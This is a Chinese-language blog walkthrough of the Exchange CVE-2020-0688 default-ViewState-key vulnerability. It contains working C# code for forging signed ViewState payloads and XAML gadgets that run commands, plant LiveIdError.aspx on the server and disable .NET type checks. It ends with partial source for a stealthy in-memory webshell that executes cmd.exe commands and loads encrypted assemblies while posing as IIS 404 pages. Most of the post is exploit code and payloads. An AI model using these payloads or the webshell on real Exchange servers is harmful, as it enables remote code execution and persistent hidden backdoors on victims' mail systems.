Exchange CVE-2020-0688漏洞分析和内存马注入

前言:Exchange CVE-2020-0688漏洞分析,这篇文章更多的是重复记录zcgonvh师傅的文章内容,主要是自己实践过一遍,最后再给大家实现下内存马注入方式

参考文章:https://www.cnblogs.com/zpchcbd/p/15112047.html
参考文章:https://www.anquanke.com/post/id/199921

CVE-2020-0688漏洞起因

分析之前稍微提及下这篇文章需要了解事先viewstate原理,这边可以参考下我自己写的笔记,地址在 https://www.cnblogs.com/zpchcbd/p/15112047.html

CVE-2020-0688是一个默认密钥导致的漏洞,由于ECP下的web.config的配置文件中存在默认密钥

配置文件存放在 %ExchangeInstallPath%\ClientAccess\ecp\web.config,可以看到其中默认的validationKey为CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF 。

验证默认密钥的正确性

这边先观察访问/ecp/default.aspx默认的__VIEWSTATE,结果为如下

因为这边validation签名算法为SHA1,所以这边拿到默认的__VIEWSTATE值要去除尾部的20个字节,验证代码如下所示

namespace TestViewState
{
    public class Program
    {

        static void Main(string[] args)
        {
            //string base64String = "/wEPDwUKMjA5ODU3OTU1NmQYAQUeX19Db250cm9sc1JlcXVpcmVQb3N0QmFja0tleV9fFgEFGmZlZWRiYWNrQ3RybCRlbWFpbENoZWNrYm94O65Xyd/vkJALhIHUdi9cbtK8iJU="; // 要解码的base64字符串
            //byte[] bytes = Convert.FromBase64String(base64String); // 解码base64字符串
            //string hexString = BitConverter.ToString(bytes).Replace("-", ",0x"); // 转换为十六进制字符串
            //Console.WriteLine(hexString); // 输出十六进制字符串

            //byte[] data = GetViewState();
            byte[] data = new byte[] { 0xFF, 0x01, 0x0F, 0x0F, 0x05, 0x0A, 0x32, 0x30, 0x39, 0x38, 0x35, 0x37, 0x39, 0x35, 0x35, 0x36, 0x64, 0x18, 0x01, 0x05, 0x1E, 0x5F, 0x5F, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x73, 0x52, 0x65, 0x71, 0x75, 0x69, 0x72, 0x65, 0x50, 0x6F, 0x73, 0x74, 0x42, 0x61, 0x63, 0x6B, 0x4B, 0x65, 0x79, 0x5F, 0x5F, 0x16, 0x01, 0x05, 0x1A, 0x66, 0x65, 0x65, 0x64, 0x62, 0x61, 0x63, 0x6B, 0x43, 0x74, 0x72, 0x6C, 0x24, 0x65, 0x6D, 0x61, 0x69, 0x6C, 0x43, 0x68, 0x65, 0x63, 0x6B, 0x62, 0x6F, 0x78 };
            byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };

            // clientId = hash(当前请求路径)+hash(当前请求文件名)
            uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
                StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));

            // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
            byte[] _mackey = new byte[4];
            _mackey[0] = (byte)_clientstateid;
            _mackey[1] = (byte)(_clientstateid >> 8);
            _mackey[2] = (byte)(_clientstateid >> 16);
            _mackey[3] = (byte)(_clientstateid >> 24);

            // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
            MemoryStream ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(_mackey, 0, _mackey.Length);
            byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
            Console.ReadKey();
        }
    }
}

如下图所示,通过对比发现程序生成的__VIEWSTATE并不和访问的/ecp/default.aspx中的__VIEWSTATE值相等

这边还可以看到__VIEWSTATEGENERATOR的值是B97B4E27跟程序生成的值是一样的

这种情况下的话就需要考虑是否收到了ViewStateUserKey的影响,因为在MacKeyModifier是受到了client_id + ViewStateUserKey(默认为空),但是ViewStateUserKey如果不是默认的话就会导致__VIEWSTATE值不一样

在exchange中的话ViewStateUserKey是受到了ASP.NET_SessionId影响,这边可以看到如果将ASP.NET_SessionId的值进行去除就会发现此时的__VIEWSTATE值就是跟程序中生成的值是一样的

CVE-2020-0688漏洞利用

这边生成TextFormattingRunProperties利用链来进行测试

ysoserial.exe -g TextFormattingRunProperties -c notepad -f binaryformatter

将上面生成的数据进行替换到


using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Security.Cryptography;
using System.Web;

namespace TestViewState
{
    public class Program
    {
        static byte[] GetViewState()
        {
            Test t = new Test(new Func<string, object>(Process.Start), "notepad");
            string base64String = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAtgU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="; // 要解码的base64字符串
            byte[] data = Convert.FromBase64String(base64String); // 解码base64字符串

            //byte[] data = Serialize(t);
            MemoryStream ms = new MemoryStream();
            // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            // 指定ObjectStateFormatter进行序列化,特征为0x32
            ms.WriteByte(0x32);
            uint num = (uint)data.Length;
            // Value为带有7bit-encoded长度前缀,所以最大长度为0x80
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(data, 0, data.Length);
            return ms.ToArray();
        }

        static void Main(string[] args)
        {
            byte[] data = GetViewState();
            byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };

            // clientId = hash(当前请求路径)+hash(当前请求文件名)
            uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
                StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));

            // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
            byte[] _mackey = new byte[4];
            _mackey[0] = (byte)_clientstateid;
            _mackey[1] = (byte)(_clientstateid >> 8);
            _mackey[2] = (byte)(_clientstateid >> 16);
            _mackey[3] = (byte)(_clientstateid >> 24);

            // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
            MemoryStream ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(_mackey, 0, _mackey.Length);
            byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
            Console.ReadKey();
        }
    }
}

结果如下图所示,可以看到命令执行成功了

上面的代码还可以写的比较优雅点,这边参考.net ysoserial中的写法,自定义一个TextFormattingRunPropertiesMarshal来进行序列化,重点是GetObjectData中进行SetType类型为TextFormattingRunProperties即可

注意:这边为什么用到ResourceDictionary呢?其实可以不用,你会发现在.net ysoerial中的TextFormattingRunPropertiesGenerator的代码中是没有用到ResourceDictionary的,这边测试命令执行可有可无,但是下面如果想要实现漏洞检测的话就需要用到ResourceDictionary,因为需要用到ObjectDataProvider多次调用静态资源,跟ActivitySurrogateDisableTypeCheck利用链的方式类似

namespace TestViewState
{


    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(TextFormattingRunProperties));
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }


    public class Program
    {
        static object Deserialize(byte[] b)
        {
            using (MemoryStream mem = new MemoryStream(b))
            {
                mem.Position = 0;
                BinaryFormatter bf = new BinaryFormatter();
                return bf.Deserialize(mem);
            }
        }
        
        static byte[] Serialize(object obj)
        {
            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Serialize(mem, obj);
                return mem.ToArray();
            }
        }

        static byte[] GetViewState(byte[] data)
        {
            MemoryStream ms = new MemoryStream();
            // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            // 指定ObjectStateFormatter进行序列化,特征为0x32
            ms.WriteByte(0x32);
            uint num = (uint)data.Length;
            // Value为带有7bit-encoded长度前缀,所以最大长度为0x80
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(data, 0, data.Length);
            return ms.ToArray();
        }

        static void Main(string[] args)
        {
            string xaml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" 
    xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
  xmlns:System=""clr-namespace:System;assembly=mscorlib"" 
    xmlns:Diag=""clr-namespace:System.Diagnostics;assembly=system"">
     <ObjectDataProvider x:Key="""" ObjectType=""{x:Type Diag:Process}"" MethodName=""Start"" >
     <ObjectDataProvider.MethodParameters>
        <System:String>cmd</System:String>
        <System:String>""/c notepad""</System:String>
     </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>";
            byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml)));
            byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };

            // clientId = hash(当前请求路径)+hash(当前请求文件名)
            uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
                StringComparer.InvariantCultureIgnoreCase.GetHashCode("default_aspx"));

            // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
            byte[] _mackey = new byte[4];
            _mackey[0] = (byte)_clientstateid;
            _mackey[1] = (byte)(_clientstateid >> 8);
            _mackey[2] = (byte)(_clientstateid >> 16);
            _mackey[3] = (byte)(_clientstateid >> 24);

            // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
            MemoryStream ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(_mackey, 0, _mackey.Length);
            byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
            Console.ReadKey();
        }
    }
}

如下图所示,可以看到发送payload还是一样可以进行执行

CVE-2020-0688漏洞检测

上面的漏洞复现可以看到走的是TextFormattingRunProperties利用链,这边稍微的提下在ViewState反序列化中ObjectStateFormatter的反序列化,为什么还可以用BinaryFormatter生成的payload来进行反序列化呢?

如果大家跟过ObjectStateFormatter反序列化的过程的话就会发现在ObjectStateFormatter反序列化中实际上内部还是BinaryFormatter进行反序列化的。

这边想要检测是否存在CVE-2020-0688漏洞的话可以通过,xaml不光支持调用静态方法,同样支持获取静态属性、获取实例属性或调用实例方法。于是可以通过[System.Web]System.Web.HttpContext::Current获取当前Http上下文,并对Response进行操作。

<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" 
    xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" 
    xmlns:s="clr-namespace:System;assembly=mscorlib" 
    xmlns:w="clr-namespace:System.Web;assembly=System.Web">
  <ObjectDataProvider x:Key="a" ObjectInstance="{x:Static w:HttpContext.Current}" MethodName=""></ObjectDataProvider>
  <ObjectDataProvider x:Key="b" ObjectInstance="{StaticResource a}" MethodName="get_Response"></ObjectDataProvider>
  <ObjectDataProvider x:Key="c" ObjectInstance="{StaticResource b}" MethodName="get_Headers"></ObjectDataProvider>
  <ObjectDataProvider x:Key="d" ObjectInstance="{StaticResource c}" MethodName="Add">
    <ObjectDataProvider.MethodParameters>
      <s:String>X-ZCG-TEST</s:String>
      <s:String>CVE-2020-0688</s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key="e" ObjectInstance="{StaticResource b}" MethodName="End"></ObjectDataProvider>
</ResourceDictionary>

结果如下图所示,返回包中有对应指定的header字段头

Exchange中对ecp接口下面的路由都进行了重写,可以看到其中有一条是LiveIdError.aspx的条目,这个条目中的LiveIdError.aspx文件默认是不存在的

<add name="LiveIdErrorHandler" path="LiveIdError.aspx" verb="POST" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />

如果我们创建了一个LiveIdError.aspx,那么就同样可以用这个文件作为漏洞验证的点了

namespace TestViewState
{


    [Serializable]
    public class TextFormattingRunPropertiesMarshal : ISerializable
    {
        protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
        string _xaml;
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            info.SetType(typeof(TextFormattingRunProperties));
            info.AddValue("ForegroundBrush", _xaml);
        }
        public TextFormattingRunPropertiesMarshal(string xaml)
        {
            _xaml = xaml;
        }
    }


    public class Program
    {
        static object Deserialize(byte[] b)
        {
            using (MemoryStream mem = new MemoryStream(b))
            {
                mem.Position = 0;
                BinaryFormatter bf = new BinaryFormatter();
                return bf.Deserialize(mem);
            }
        }
        
        static byte[] Serialize(object obj)
        {
            using (MemoryStream mem = new MemoryStream())
            {
                BinaryFormatter bf = new BinaryFormatter();
                bf.Serialize(mem, obj);
                return mem.ToArray();
            }
        }

        static byte[] GetViewState(byte[] data)
        {
            MemoryStream ms = new MemoryStream();
            // 因为返回结果以FF01作为magic,所以这边会先写入0xff 0x01
            ms.WriteByte(0xff);
            ms.WriteByte(0x01);
            // 指定ObjectStateFormatter进行序列化,特征为0x32
            ms.WriteByte(0x32);
            uint num = (uint)data.Length;
            // Value为带有7bit-encoded长度前缀,所以最大长度为0x80
            while (num >= 0x80)
            {
                ms.WriteByte((byte)(num | 0x80));
                num = num >> 0x7;
            }
            ms.WriteByte((byte)num);
            ms.Write(data, 0, data.Length);
            return ms.ToArray();
        }

        static void Main(string[] args)
        {
            string xaml = @"<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
    xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml"" 
    xmlns:s=""clr-namespace:System;assembly=mscorlib""
    xmlns:w=""clr-namespace:System.Web;assembly=System.Web"">
  <s:String x:Key=""a"" x:FactoryMethod=""s:Environment.GetEnvironmentVariable"" x:Arguments=""ExchangeInstallPath""/>
  <s:String x:Key=""b"" x:FactoryMethod=""Concat"">
    <x:Arguments>
      <StaticResource ResourceKey=""a""/>
      <s:String>\ClientAccess\ecp\LiveIdError.aspx</s:String>
    </x:Arguments>
  </s:String>
  <ObjectDataProvider x:Key=""x"" ObjectType=""{x:Type s:IO.File}"" MethodName=""AppendAllText"">
    <ObjectDataProvider.MethodParameters>
      <StaticResource ResourceKey=""b""/>
      <s:String></s:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
  <ObjectDataProvider x:Key=""c"" ObjectInstance=""{x:Static w:HttpContext.Current}"" MethodName=""""/>
  <ObjectDataProvider x:Key=""d"" ObjectInstance=""{StaticResource c}"" MethodName=""get_Response""/>
  <ObjectDataProvider x:Key=""e"" ObjectInstance=""{StaticResource d}"" MethodName=""End""/>
</ResourceDictionary>";
            byte[] data = GetViewState(Serialize(new TextFormattingRunPropertiesMarshal(xaml)));
            byte[] key = new byte[] { 0xCB, 0x27, 0x21, 0xAB, 0xDA, 0xF8, 0xE9, 0xDC, 0x51, 0x6D, 0x62, 0x1D, 0x8B, 0x8B, 0xF1, 0x3A, 0x2C, 0x9E, 0x86, 0x89, 0xA2, 0x53, 0x03, 0xBF };

            // clientId = hash(当前请求路径)+hash(当前请求文件名)
            uint _clientstateid = (uint)(StringComparer.InvariantCultureIgnoreCase.GetHashCode("/ecp") +
                StringComparer.InvariantCultureIgnoreCase.GetHashCode("LiveIdError_aspx"));

            // MacKeyModifier 作为Salt,由 ClientId 和 ViewStateUserKey 两部分拼接而成,而ViewStateUserKey默认为空,所以这边主要是ClientId
            byte[] _mackey = new byte[4];
            _mackey[0] = (byte)_clientstateid;
            _mackey[1] = (byte)(_clientstateid >> 8);
            _mackey[2] = (byte)(_clientstateid >> 16);
            _mackey[3] = (byte)(_clientstateid >> 24);

            // 接着再写入ViewState和MacKeyModifier -> __VIEWSTATE
            MemoryStream ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(_mackey, 0, _mackey.Length);
            byte[] hash = (new HMACSHA1(key)).ComputeHash(ms.ToArray());
            ms = new MemoryStream();
            ms.Write(data, 0, data.Length);
            ms.Write(hash, 0, hash.Length);
            Console.WriteLine("__VIEWSTATE={0}&__VIEWSTATEGENERATOR={1}", HttpUtility.UrlEncode(Convert.ToBase64String(ms.ToArray())), _clientstateid.ToString("X2"));
            Console.ReadKey();
        }
    }
}

将上面程序中生成的viewstate放到/ecp/default.aspx接口下进行访问,可以看到生成了一个LiveIdError.aspx文件

然后这边再将/ecp/LiveIdError.aspx作为后续的漏洞利用点即可

这边可能会有一个疑问,前面直接能在/ecp/default.aspx接口下进行反序列化利用,为什么还要再去创建一个/ecp/LiveIdError.aspx进行利用呢?

前面提到过exchange将/ecp接口下的路由都重写了,而LiveIdError.aspx走的是PageHandlerFactory并且支持POST操作,而POST操作的长度是不受到限制的(IIS默认的4M上限),对于执行命令并回显、读写文件、加载ShellCode和内存马注入这些操作是最适合的

<add name="LiveIdErrorHandler" path="LiveIdError.aspx" verb="POST" type="System.Web.UI.PageHandlerFactory" preCondition="integratedMode" />

这边除了LiveIdErrorHandler之外,下面的这些也是可以的,不过前提是不影响业务逻辑下来进行操作

到这里的话接下来就是对LiveIdError文件进行构造viewstate利用了

打一次命令执行的代码,这边通过命令csc /target:library /out:e.dll e.cs来进行编译,如下图所示

E.cs

class E
{
    public E()
    {
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "calc";
            process.Start();
        } catch (System.Exception) {}
    }
}

这边测试发包可以发现没有命令执行成功,结果如下图所示

这边的话先打一次disableActivitySurrogateSelectorTypeCheck,构造的代码如下所示

注:如果发现打不了的话可能目标版本是fx 4.8,还需要先构造一个ActivitySurrogateDisableTypeCheck先打一次

<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:s=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Configuration;assembly=System.Configuration""
xmlns:r=""clr-namespace:System.Reflection;assembly=mscorlib"">
    <ObjectDataProvider x:Key=""type"" ObjectType=""{x:Type s:Type}"" MethodName=""GetType"">
        <ObjectDataProvider.MethodParameters>
            <s:String>System.Workflow.ComponentModel.AppSettings, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""field"" ObjectInstance=""{StaticResource type}"" MethodName=""GetField"">
        <ObjectDataProvider.MethodParameters>
            <s:String>disableActivitySurrogateSelectorTypeCheck</s:String>
            <r:BindingFlags>40</r:BindingFlags>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""set"" ObjectInstance=""{StaticResource field}"" MethodName=""SetValue"">
        <ObjectDataProvider.MethodParameters>
            <s:Object/>
            <s:Boolean>true</s:Boolean>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
    <ObjectDataProvider x:Key=""setMethod"" ObjectInstance=""{x:Static c:ConfigurationManager.AppSettings}"" MethodName =""Set"">
        <ObjectDataProvider.MethodParameters>
            <s:String>microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck</s:String>
            <s:String>true</s:String>
        </ObjectDataProvider.MethodParameters>
    </ObjectDataProvider>
</ResourceDictionary>

上面构造的ActivitySurrogateDisableTypeCheck数据包发完之后继续发送命令执行的数据包,可以发现命令执行成功了,结果如下图所示

内存马注入

直接给代码了


using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization;
using System.Security.Cryptography;
using Microsoft.VisualStudio.Text.Formatting;
using System.Web;
using Microsoft.CSharp;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Collections;
using System.ComponentModel.Design;
using System.Reflection;
using System.Web.UI.WebControls;
using static System.Net.Mime.MediaTypeNames;

namespace TestViewState
{

    public class CodeHelper
    {
        public static string get_memory_http_listenr_code(string key, string pass, string inject_path)
        {
            string code = $@"using System.Diagnostics;
using System.Text;
using System.IO;
using System.Net;
using System.Web;
using System;
using System.Collections.Generic;
using System.Collections;
using System.Threading;

public class SharpMemshell
{{

    public SharpMemshell()
    {{
        HttpContext ctx = HttpContext.Current;
        Thread Listen = new Thread(Listener);
        Thread.Sleep(0);
        Listen.Start(ctx);
    }}

    public static Dictionary<string, string> parse_post(HttpListenerRequest request)
    {{
        var post_raw_data = new StreamReader(request.InputStream, request.ContentEncoding).ReadToEnd();
        Dictionary<string, string> postParams = new Dictionary<string, string>();
        string[] rawParams = post_raw_data.Split('&');
        foreach (string param in rawParams)
        {{
            string[] kvPair = param.Split('=');
            string p_key = kvPair[0];
            string value = HttpUtility.UrlDecode(kvPair[1]);
            postParams.Add(p_key, value);
        }}
        return postParams;
    }}
    public static void SetRespHeader(HttpListenerResponse resp)
    {{
        resp.Headers.Set(HttpResponseHeader.Server, ""Microsoft-IIS/8.5"");
        resp.Headers.Set(HttpResponseHeader.ContentType, ""text/html; charset=utf-8"");
        resp.Headers.Add(""X-Powered-By"", ""ASP.NET"");
    }}

    public static void Listener(object ctx)
    {{
        HttpListener listener = new HttpListener();
        try
        {{
            if (!HttpListener.IsSupported)
            {{
                return;
            }}
            string input_key = ""{key}"";
            string pass = ""{pass}"";
            string nodata = ""PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMDEvL0VOIiJodHRwOi8vd3d3LnczLm9yZy9UUi9odG1sNC9zdHJpY3QuZHRkIj4NCjxIVE1MPjxIRUFEPjxUSVRMRT5Ob3QgRm91bmQ8L1RJVExFPg0KPE1FVEEgSFRUUC1FUVVJVj0iQ29udGVudC1UeXBlIiBDb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXMtYXNjaWkiPjwvSEVBRD4NCjxCT0RZPjxoMj5Ob3QgRm91bmQ8L2gyPg0KPGhyPjxwPkhUVFAgRXJyb3IgNDA0LiBUaGUgcmVxdWVzdGVkIHJlc291cmNlIGlzIG5vdCBmb3VuZC48L3A+DQo8L0JPRFk+PC9IVE1MPg0K"";
            string url = ""https://*{inject_path}/"";
            listener.Prefixes.Add(url);
            listener.Start();

            byte[] not_found = System.Convert.FromBase64String(nodata);
            string key = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(input_key))).Replace(""-"", """").ToLower().Substring(0, 16);
            string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace(""-"", """");

            Dictionary<string, dynamic> sessiontDirectory = new Dictionary<string, dynamic>();
            Hashtable sessionTable = new Hashtable();

            while (true)
            {{
                HttpListenerContext context = listener.GetContext();
                HttpListenerRequest request = context.Request;
                HttpListenerResponse response = context.Response;
                SetRespHeader(response);
                Stream stm = null;
                HttpContext httpContext;
                try
                {{
                    if (ctx != null)
                    {{
                        httpContext = ctx as HttpContext;
                    }}
                    else
                    {{
                        HttpRequest req = new HttpRequest("""", request.Url.ToString(), request.QueryString.ToString());
                        System.IO.StreamWriter writer = new System.IO.StreamWriter(response.OutputStream);
                        HttpResponse resp = new HttpResponse(writer);
                        httpContext = new HttpContext(req, resp);
                    }}
                    var method = request.Headers[""Type""];
                    if (method == ""print"")
                    {{
                        byte[] output = Encoding.UTF8.GetBytes(""OK"");
                        response.StatusCode = 200;
                        response.ContentLength64 = output.Length;
                        stm = response.OutputStream;
                        stm.Write(output, 0, output.Length);
                        stm.Close();
                    }}
                    else if (method == ""cmd"" && request.HttpMethod == ""POST"")
                    {{
                        Dictionary<string, string> postParams = parse_post(request);

                        Process p = new Process();
                        p.StartInfo.FileName = ""cmd.exe"";
                        p.StartInfo.Arguments = ""/c "" + postParams[pass];
                        p.StartInfo.UseShellExecute = false;
                        p.StartInfo.RedirectStandardOutput = true;
                        p.StartInfo.RedirectStandardError = true;
                        p.Start();
                        byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                        response.StatusCode = 200;
                        response.ContentLength64 = data.Length;
                        stm = response.OutputStream;
                        stm.Write(data, 0, data.Length);
                    }}
                    else if (method == ""mem_b64"" && request.HttpMethod == ""POST"")
                    {{
                        Dictionary<string, string> postParams = parse_post(request);
                        byte[] data = System.Convert.FromBase64String(postParams[pass]);
                        data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
                        Cookie sessionCookie = request.Cookies[""ASP.NET_SessionId""];
                        if (sessionCookie == null)
                        {{
                            Guid sessionId = Guid.NewGuid();
                            var payload = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod(""Load"", new System.Type[] {{ typeof(byte[]) }}).Invoke(null, new object[] {{ data }});
                            sessiontDirectory.Add(sessionId.ToString(), payload);
                            response.SetCookie(new Cookie(""ASP.NET_SessionId"", sessionId.ToString()));
                            byte[] output = Encoding.UTF8.GetBytes("""");
                            response.StatusCode = 200;
                            response.ContentLength64 = output.Length;
                            stm = response.OutputStream;
                            stm.Write(output, 0, output.Length);
                        }}
                        else
                        {{
                            dynamic payload = sessiontDirectory[sessionCookie.Value];
                            MemoryStream outStream = new MemoryStream();
                            object o = ((System.Reflection.Assembly)payload).CreateInstance(""LY"");
                            o.Equals(outStream);
                            o.Equals(httpContext);
                            o.Equals(data);
                            o.ToString();
                            byte[] r = outStream.ToArray();
                            outStream.Dispose();
                            response.StatusCode = 200;
